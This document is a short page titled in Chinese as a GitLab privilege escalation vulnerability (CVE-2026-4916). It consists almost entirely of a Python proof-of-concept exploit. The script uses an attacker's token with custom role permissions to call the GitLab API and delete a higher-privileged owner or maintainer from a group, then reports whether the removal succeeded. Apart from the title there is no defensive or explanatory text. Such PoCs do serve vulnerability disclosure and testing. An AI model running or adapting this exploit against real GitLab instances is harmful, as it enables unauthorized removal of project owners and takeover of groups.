CVE-2026-4916 GitLab权限提升漏洞

import requests # PoC for CVE-2026-4916: GitLab Privilege Escalation via Improper Authorization # Attacker needs valid authentication token and specific custom role permissions. TARGET_URL = "https://gitlab.example.com" GROUP_ID = "123" VICTIM_USER_ID = "456" # Target user with higher privilege (e.g., Owner/Maintainer) ATTACKER_TOKEN = "glpat-xxxxxxxxxxxx" # Attacker's token with Custom Role headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Attempt to remove the higher-privileged member # API endpoint: DELETE /groups/:id/members/:user_id endpoint = f"{TARGET_URL}/api/v4/groups/{GROUP_ID}/members/{VICTIM_USER_ID}" print(f"[*] Attempting to remove user {VICTIM_USER_ID} from group {GROUP_ID}...") response = requests.delete(endpoint, headers=headers) if response.status_code == 204: print("[+] Success! Higher-privileged member removed via CVE-2026-4916.") elif response.status_code == 403: print("[-] Failed. Permission denied (Not vulnerable or permissions insufficient).") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text)